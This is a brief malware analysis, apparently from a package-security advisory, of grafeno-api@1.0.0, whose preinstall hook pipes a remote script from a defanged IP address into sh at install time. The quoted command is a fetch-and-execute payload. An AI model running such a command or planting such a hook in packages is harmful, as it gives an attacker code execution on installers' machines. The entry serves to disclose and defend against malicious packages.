grafeno-api@1.0.0

Analysis

The package's preinstall hook runs a remote shell script at install time: it executes `curl -s 216[.]126[.]236[.]46/x.sh | sh` via /bin/bash, downloading and executing arbitrary code from the IP 216[.]126[.]236[.]46. The package contains no other functional code (a 57-byte index.js stub), so its entire purpose is to fetch and run this remote payload on the installer's machine.